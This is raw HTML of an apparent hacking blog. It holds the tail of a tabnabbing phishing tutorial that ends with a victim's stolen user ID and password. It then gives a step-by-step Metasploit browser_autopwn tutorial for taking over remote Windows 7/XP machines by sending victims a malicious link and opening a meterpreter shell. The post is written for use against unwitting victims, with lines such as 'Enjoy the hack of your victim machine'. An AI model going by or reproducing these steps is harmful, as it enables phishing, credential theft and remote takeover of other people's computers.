<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPr-T2k0wOCGp2LOn9_tSipWfdFyGWfk6M7Iam6Zt1Tq7Hi1kixJATeqMG3wz75m77kjVjou5d5kcmykAZk6kGCRB-M95AP7_zUZ4cbtkk2eDgS5Dvdr_dy08FrNYvZSx9LJ5kSsAweP6u/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPr-T2k0wOCGp2LOn9_tSipWfdFyGWfk6M7Iam6Zt1Tq7Hi1kixJATeqMG3wz75m77kjVjou5d5kcmykAZk6kGCRB-M95AP7_zUZ4cbtkk2eDgS5Dvdr_dy08FrNYvZSx9LJ5kSsAweP6u/s520/5.png" /></a></div>Now convert your URL into Google URL using goo.gl and send this link address to your victim via Email or Chat or any other social way you can make it reach to victim.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHX5huRp5OrW-sQ3bCw9pqvykPX2ACAXGrr9YyJoEwn7QcvgZzEM6HVjcgvbODu5hmaCQHJobjcU6t0b48a0YF6N_63GnJ46wZtbddX_prk0qPvjhS_TeLqCyzWcV81MqAA_nC59fm5wND/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHX5huRp5OrW-sQ3bCw9pqvykPX2ACAXGrr9YyJoEwn7QcvgZzEM6HVjcgvbODu5hmaCQHJobjcU6t0b48a0YF6N_63GnJ46wZtbddX_prk0qPvjhS_TeLqCyzWcV81MqAA_nC59fm5wND/s520/7.png" /></a></div>When victim open in their browser it should be a message that the page is still loading. so victim start to open another tab. As soon as victim open new tab, our fake website start working. That script will redirect the victim to the phishing page your derived.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnMlmpIRhfnDnHM7CGWvWsmMY3IehCgTqzLAX_U6ki3w6T54pbokySoARQdGXaxbs90Y8VjEY7WdbpES-gGROYCn-tIwtDLjPX1XkJsXLmAH8_224xCdb67VylB3rOg52aAn4TYSgy3XRb/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnMlmpIRhfnDnHM7CGWvWsmMY3IehCgTqzLAX_U6ki3w6T54pbokySoARQdGXaxbs90Y8VjEY7WdbpES-gGROYCn-tIwtDLjPX1XkJsXLmAH8_224xCdb67VylB3rOg52aAn4TYSgy3XRb/s520/8.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv47HfRzZX5REPWkHXVb_cpMVSGCu-bCrUUHDCMDWxXHn-m-a5oK4sNS7Q-vPLcNCOip_pKKVHN39WQNevX2peYFfQRHkJapN9oVMnJtSLx2PV5eXG3ASqgOZjDzbU01L9-gOEhIqUpwly/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv47HfRzZX5REPWkHXVb_cpMVSGCu-bCrUUHDCMDWxXHn-m-a5oK4sNS7Q-vPLcNCOip_pKKVHN39WQNevX2peYFfQRHkJapN9oVMnJtSLx2PV5eXG3ASqgOZjDzbU01L9-gOEhIqUpwly/s320/9.png" /></a></div>here yyou goes these are the user id and password of the victim :D.<br />
be safe keep hacking :).

Tabnabbing Attack with social Engineering toolkit on Backtrack | kali

Hi everyone here is the post that basically explain about very fundamental attack known to be tab nabbing attack.the attack is very simple a...

Hack Remote Windows 7 | XP PC With Metasploit (Browser Auto Pwn Vulnerability)

Hi all this is one of the popular attack know as browser auto pwn Vulnerability which we are going to use in this tutorial.<br />
This is a simple vulnerability that allow attacker to hack to remote machine just by a single click by the victim.<br />
<font color="green"><b>-::Using Metasploit::-</b></font><br />
in metasploit there is a module known as browser autopwn.The basic idea behind that module is that it creates a web server in our local machine which will contain different kind of browser exploits.When the user will open the malicious link then the execution of the exploits will start against the browser of the user and if one of the exploits is successful a meterpreter session will open.<br />
<br />
follow these steps to carry out the attack.<br />
open you backtrack/kali terminal make sure metasploit is there (which is present by default :D ).<br />
type #<b>msfconsole</b> on terminal<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbzcoSzRv2ObzIjC7bZ-hh6rurjLnRlc6NFdRW1aho1zZkQ7vGTCmGYfXhwqWS6NKv5yXiCVg7ZP0jP5-DYL5op64Q7mO-n8_KLLZ2o6QzzlT_W3EzT7Qv-d2tEHIK7dPGMTl9EQptrKnO/s1600/msfconsole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="msfconsole" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbzcoSzRv2ObzIjC7bZ-hh6rurjLnRlc6NFdRW1aho1zZkQ7vGTCmGYfXhwqWS6NKv5yXiCVg7ZP0jP5-DYL5op64Q7mO-n8_KLLZ2o6QzzlT_W3EzT7Qv-d2tEHIK7dPGMTl9EQptrKnO/s520/msfconsole.png" /></a></div><br />
Now follow these steps as show in image <br />
use the browser_autopwn module<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYdqnkgj6U7hQiB-GmD0PyPYV33iGG1lE9ebC9LOMWwZ8FIDmnh5WqbYhspVXP8B6OfGxo3U8LA44r5qjPrkpOVuHvkDKM5aWA380wbZMc3th45NoA0KI0TYFBI-oXwr0I9J7TwmYsU4DB/s1600/use+auxiliry.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="use browser auto pwn" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYdqnkgj6U7hQiB-GmD0PyPYV33iGG1lE9ebC9LOMWwZ8FIDmnh5WqbYhspVXP8B6OfGxo3U8LA44r5qjPrkpOVuHvkDKM5aWA380wbZMc3th45NoA0KI0TYFBI-oXwr0I9J7TwmYsU4DB/s920/use+auxiliry.png" width="580" /></a></div><br />
We have set up the LHOST with our IP address,the port to be 4445  and the URIPATH with / in order to prevent metasploit to set up random URL’s.now you will see below image.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMr-rPzCaHbvyu8wJ_Iv-uA1t25A-pvfJHsv2AvqFStRY5ihEvfKJkWNteXm3WrfJAk2Z6fE2tgCAL_mXGD_wzY7cVHQbj2ZxPNK-hkCpKqoQp_5u1PNtupl1tEvCPLEO33HdV6nolfWKd/s1600/server+started.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="server started with 16 module" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMr-rPzCaHbvyu8wJ_Iv-uA1t25A-pvfJHsv2AvqFStRY5ihEvfKJkWNteXm3WrfJAk2Z6fE2tgCAL_mXGD_wzY7cVHQbj2ZxPNK-hkCpKqoQp_5u1PNtupl1tEvCPLEO33HdV6nolfWKd/s320/server+started.png" /></a></div>Server started with 16 module.<br />
next we need to send the link to victim (like here http://192.168.205.131:8080/).as soon as the victim open the link its all done.<br />
we have the meterpreter shell control in out hand you can do various activity you wish with meterpreter shell functionality.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyoIKuudbNSWEo_R72nyn9jfHFUrRDeOPi3O112SaTxra2oV7mSTph3FWoz81p4ZQFB85KbHdtTMO-apCJVrTFaKZVWkjDG_tThozXgs8ld13tSCHwV6hz-J9mvDFHryfwNeyC8Wsemvk1/s1600/hacked.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyoIKuudbNSWEo_R72nyn9jfHFUrRDeOPi3O112SaTxra2oV7mSTph3FWoz81p4ZQFB85KbHdtTMO-apCJVrTFaKZVWkjDG_tThozXgs8ld13tSCHwV6hz-J9mvDFHryfwNeyC8Wsemvk1/s920/hacked.png" /></a></div><br />
Enjoy the hack of your victim machine have fun .<br />

Hack Remote Windows 7 | XP PC With Metasploit (Browser Auto Pwn Vulnerability)

Hi all this is one of the popular attack know as browser auto pwn Vulnerability which we are going to use in this tutorial. This is a simpl...